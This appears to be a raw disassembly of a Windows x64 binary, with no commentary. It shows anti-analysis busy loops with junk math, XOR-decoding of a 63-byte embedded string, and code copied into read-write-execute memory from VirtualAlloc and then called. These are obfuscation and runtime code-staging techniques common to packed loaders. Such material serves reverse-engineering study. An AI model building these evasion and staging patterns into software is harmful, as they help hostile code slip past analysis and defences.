movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140035340]
mov qword [rdi + rax*8 + 0x39590], rbx
mov qword [rdi + rax*8 + 0x37920], r8
inc rax
mov qword [0x140035340], rax
lea rdx, [rbp + 0x128]
lea rcx, [0x14000c300]
call r8
nop
mov rcx, qword [rbp + 0x560]
xor rcx, qword [rbp + 0x568]
mov qword [rbp + 0x560], rcx
mov rax, qword [rbp + 0x570]
mov qword [rax], rcx
lea rcx, [rbp + 0x350]
call fcn.14001c780
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x4100]
call fcn.14001b880
mov dword [rbp + 0x3c8], 0xffffff9c
mov dword [rbp + 0x3cc], 0x64
movaps xmm0, xmmword [0x14002c750]
movups xmmword [rbp + 0x468], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm7
lea rcx, [rbp + 0x130]
call fcn.140001770
mov rax, qword [rbp + 0x130]
add rax, 0x5f5e100
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0x428]
call fcn.1400026e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x428], xmm0
mov qword [rbp + 0x438], r12
lea rcx, [rbp + 0x138]
call fcn.14001d7c0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x28], rcx
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x428]
call fcn.14001b790
nop
lea rcx, [rbp + 0x28]
call fcn.14001b770
nop
lea rcx, [rbp + 0x138]
call fcn.14001b770
lea rcx, [rbp + 0x140]
call fcn.14001d810
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x30], rcx
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x428]
call fcn.14001b790
nop
lea rcx, [rbp + 0x30]
call fcn.14001b770
nop
lea rcx, [rbp + 0x140]
call fcn.14001b770
lea rcx, [rbp + 0x148]
call fcn.14001d840
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x38], rcx
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x428]
call fcn.14001b790
nop
lea rcx, [rbp + 0x38]
call fcn.14001b770
nop
lea rcx, [rbp + 0x148]
call fcn.14001b770
lea rcx, [rbp + 0x150]
call fcn.14001d870
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x40], rcx
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x428]
call fcn.14001b790
nop
lea rcx, [rbp + 0x40]
call fcn.14001b770
nop
lea rcx, [rbp + 0x150]
call fcn.14001b770
lea rcx, [rbp + 0x158]
call fcn.14001d8a0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x68], rcx
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x428]
call fcn.14001b790
nop
lea rcx, [rsp + 0x68]
call fcn.14001b770
nop
lea rcx, [rbp + 0x158]
call fcn.14001b770
lea rcx, [rbp + 0x48]
call fcn.14001d8d0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x70], rcx
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x428]
call fcn.14001b790
nop
lea rcx, [rsp + 0x70]
call fcn.14001b770
nop
lea rcx, [rbp + 0x48]
call fcn.14001b770
lea rcx, [rbp + 0x50]
call fcn.140001770
mov rcx, rax
lea rdx, [rsp + 0x78]
call fcn.140002690
test al, al
jns 0x1400128c3
lea rax, [rbp + 0x3c8]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x4100]
mov qword [rsp + 0x58], rax
movaps xmm6, xmmword [rsp + 0x50]
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x3c8]
call fcn.14001d6c0
mov rbx, qword [rbp + 0x430]
sub rbx, qword [rbp + 0x428]
sar rbx, 3
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x3c8]
call fcn.14001d6c0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x428]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x3c8]
call fcn.14001d6c0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x468]
call fcn.14001d900
movaps xmm5, xmm0
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x468]
call fcn.14001d900
movaps xmm1, xmm5
call fcn.140002540
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x468]
call fcn.14001d900
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x468]
call fcn.14001d900
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x628]
call fcn.14001c7f0
nop
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x628]
call fcn.1400024b0
lea rcx, [rbp + 0x488]
call fcn.1400026e0
lea rcx, [rbp + 0x488]
call fcn.14001b950
nop
movdqa xmmword [rbp + 0x2a0], xmm6
lea r8, [rbp + 0x2a0]
mov rdx, qword [rbp + 0x490]
mov rcx, qword [rbp + 0x488]
call fcn.14001d980
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x488]
call fcn.1400025c0
mov rdx, qword [rbp + 0x490]
mov rcx, qword [rbp + 0x488]
call fcn.14001d9e0
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x3c8]
call fcn.14001d6c0
mov ebx, eax
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x3c8]
call fcn.14001d6c0
mov r8d, ebx
mov edx, eax
call fcn.1400026b0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140012798
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x3c8]
test eax, eax
jne 0x1400127bb
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400127ca
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x3c8]
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x4100]
lea rcx, [rbp + 0x468]
call fcn.14001d900
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x4100]
test bl, 1
jne 0x140012845
lea rcx, [rbp + 0x3c8]
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140012866
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x468]
call fcn.14001d900
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x1400127e0
sub rdi, 1
jne 0x1400127d0
lea rcx, [rbp + 0x488]
call fcn.14001b8f0
nop
lea rcx, [rbp + 0x628]
call fcn.14001c780
sub rsi, 1
jne 0x1400125b0
lea rcx, [rbp + 0x50]
call fcn.140001770
mov rcx, rax
lea rdx, [rsp + 0x78]
call fcn.140002690
test al, al
js 0x1400125a0
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0x428]
call fcn.14001b7c0
movups xmm0, xmmword [0x14002c360]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [0x14002c370]
movups xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [0x14002c380]
movups xmmword [rbp + 0x1f0], xmm0
movsd xmm0, qword [0x14002c390]
movsd qword [rbp + 0x200], xmm0
mov eax, dword [0x14002c398]
mov dword [rbp + 0x208], eax
movzx eax, word [0x14002c39c]
mov word [rbp + 0x20c], ax
movzx eax, byte [0x14002c39e]
mov byte [rbp + 0x20e], al
mov r9d, r12d
cmp r14d, 2
jl 0x140012b6f
movdqa xmm9, xmmword [0x14002c6d0]
movdqa xmm6, xmmword [0x14002c740]
movd xmm10, r13d
movdqa xmm7, xmmword [0x14002c770]
mov eax, 6
movd xmm11, eax
movdqa xmm12, xmmword [0x14002c6f0]
movdqa xmm13, xmmword [0x14002c700]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x14002c730]
movdqa xmmword [rbp + 0x3d0], xmm0
lea rcx, [rbp + 0x1d0]
mov edx, dword [rbp + 0x3d0]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002c720]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002c720]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm10
pmuldq xmm4, xmm7
pmuldq xmm1, xmm7
shufps xmm4, xmm1, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002c720]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002c720]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1400129b0
cmp r9d, 0x3f
jge 0x140012bd4
movsxd rax, r9d
lea r10, [rbp + 0x1d0]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3e
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x288df0cb
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x65
sub r8b, cl
add r8b, 0x1d
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x140012b80
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x58], rax
lea rcx, [rbp + 0x440]
call fcn.1400026e0
lea rdx, [rbp + 0x5568]
lea rcx, [rbp + 0x440]
call fcn.1400026f0
nop
mov ecx, r12d
lea rbx, [0x14001dd70]
mov rax, qword [0x140036c80]
test rax, rax
je 0x140012c3e
cmp rax, rbx
je 0x140012c2b
inc ecx
mov rax, qword [rdi + rcx*8 + 0x36c80]
test rax, rax
jne 0x140012c15
jmp 0x140012c3e
mov eax, ecx
mov r10, qword [rdi + rax*8 + 0x36310]
test r10, r10
jne 0x140012d1f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140012c65
mov r10, r12
jmp 0x140012cfe
mov rax, rbx
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r15, 1
jne 0x140012c70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140035678]
mov qword [rdi + rax*8 + 0x36c80], rbx
mov qword [rdi + rax*8 + 0x36310], r10
inc rax
mov qword [0x140035678], rax
lea rdx, [rbp + 0x58]
lea rcx, [0x14000c300]
call r10
nop
mov rcx, qword [rbp + 0x448]
xor rcx, qword [rbp + 0x440]
mov rax, qword [rbp + 0x450]
mov qword [rax], rcx
lea rcx, [rbp + 0x5a8]
call fcn.14001c780
nop
mov rax, qword [rbp + 0x4e8]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x5568]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x5490]
xor rcx, rsp
call fcn.140028120
lea r11, [rsp + 0x5640]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret